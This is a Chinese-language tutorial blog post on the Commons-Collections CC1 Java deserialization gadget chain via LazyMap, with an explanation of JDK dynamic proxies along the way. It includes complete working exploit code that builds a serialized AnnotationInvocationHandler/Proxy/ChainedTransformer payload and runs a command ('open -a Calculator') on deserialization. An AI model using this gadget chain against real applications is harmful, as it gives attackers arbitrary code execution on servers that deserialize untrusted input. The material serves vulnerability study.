Java反序列化Commons-Collections——CC1之LazyMap
0x01 前言
上篇分析了一下CC1链中的TransformedMap
的反序列化攻击,下面分析一下LazyMap
的反序列化攻击。
漏洞环境与TransformedMap
相同,同样需要JDK8u65
。
0x02 调用链分析
与Transformedmap
相同,漏洞点仍然是InvokerTransformer#transform
方法,所以之前的就不再赘述,这里直接开始看LazyMap

LazyMap#get
方法在map.containKey(Key) == false
时会调用transform
,所以当传入一个Map中不存在的key时,便可以触发transform
的调用,编写一下exp
1 2 3 4 5 6 7 8
| public static void exp1() throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[] { String.class}, new Object[] {"open -a Calculator"}); HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer); lazyMap.get(runtime); }
|

成功弹出计算器。
这里证明LazyMap#get
函数确实可行,再编写一下通过反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static void exp2() throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[] { String.class}, new Object[] {"open -a Calculator"} ); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer); Class clazz = LazyMap.class; Method method = clazz.getDeclaredMethod("get", Object.class); method.setAccessible(true); method.invoke(decorateMap, runtime); }
|

接下来就是要找谁调用了LazyMap#get
方法,直接findUsages。
最终找到AnnotationInvocationHandler#invoke
,如下:

0x03 JDK动态代理
在继续分析之前,这里补充一下JDK动态代理的知识。
一、原理
JDK动态代理是Java原生支持的代理模式实现,其核心在于运行时动态生成代理类,无需预先定义代理类代码。它基于接口实现,适用于需要为接口增强功能的场景。
1 核心类与接口
-
java.lang.reflect.Proxy
:
动态代理类的生成器,提供静态方法newProxyInstance
创建代理对象。
核心参数:
- 类加载器
ClassLoader
):通常使用目标对象的类加载器 。
- 接口数组(
Class<?>[]
):代理对象需实现的接口列表。
- 调用处理器(
InvocationHandler
):处理方法调用逻辑的实例。
-
java.lang.reflect.InvocationHandler
:
代理对象的方法调用处理器接口,需实现invoke
方法。该方法在代理对象的所有方法调用时被触发,用于插入增强逻辑。
2 动态代理生成流程
- 接口定义:代理类必须实现目标接口。
- 目标对象创建:实现接口的具体类实例。
- 调用处理器实现:在
invoke()
中定义代理逻辑。
- 代理对象生成:通过
Proxy.newProxyInstance
动态生成代理类实例。
二 代码示例
1 示例
- 定义接口
1 2 3
| public interface UserService { void login(String usrname); }
|
- 实现目标类
1 2 3 4 5 6
| public class UserServiceImpl implements UserService { @Override public void login(String username) { System.out.println(username + "登陆"); } }
|
- 实现
InvocationHandler
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class LoggingHandler implements InvocationHandler { private final Object target; public LoggingHandler(Object target) { this.target = target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("[日志]调用方法L: " + method.getName()); Object result = method.invoke(target, args); System.out.println("[日志]方法执行完成"); return result; } }
|
- 生成代理对象
1 2 3 4 5 6 7 8 9
| public static void main(String[] args) { UserService target = new UserServiceImpl(); UserService proxy = (UserService) Proxy.newProxyInstance( target.getClass().getClassLoader(), target.getClass().getInterfaces(), new LoggingHandler(target) ); proxy.login("admin"); }
|

2 核心方法详解
Proxy.newProxyInstance()
:
动态生成代理类的字节码,并实例化代理对象。代理类默认命名为$ProxyN
(N为递增数字),通过反射机制实现方法调用转发。
InvocationHandler.invoke()
:
- 参数:
proxy
:代理对象(通常避免直接调用器方法,否则可能导致递归)。
method
:被调用的方法对象。
args
:方法参数数组。
- 返回值:代理方法执行结果,需要与目标方法返回类型兼容。
0x04 完整调用链分析
过完JDK动态代理,这里继续看链子的分析。
通过对JDK动态代理的了解,代理对象的invoke
方法会在代理类的任意方法被调用时会被自动调用,所以这里可以利用动态代理实现对AnnotationInvocationHandler#invoke
方法的调用。
这里先来看AnnotationInvocationHandler#readObject()
方法

可以看到,这里的memberValues
调用了entrySet()
方法,看下这个memberValues
是什么:

这个memberValues
是在构造函数中,那么是不是可以将memberValues
的值修改为代理对象,那么当代理对象’memberValues’调用entrySet()
方法时,就会自动调用AnnotationInvocationHandler#invoke
方法,从而触发整个调用链
直接来写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public static void exp4() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{ "getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance( Override.class, decoratedMap ); Proxy proxy = (Proxy) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler ); invocationHandler = (InvocationHandler) constructor.newInstance( Override.class, proxy ); serialize(invocationHandler); deserialize("ser.bin"); }
|

可以看到也是成功弹出了计算器。
0x05 总结
1 2 3 4 5 6 7 8 9 10
| 调用链 InvokerTransformer#transform LazyMap#get AnnotationInvocationHandler#invoke AnnotationInvocationHandler#readObject 辅助链: ConstantTransformer ChainedTransformer HashMap (Proxy)Map#entrySet
|
Java反序列化Commons-Collections——CC1之LazyMap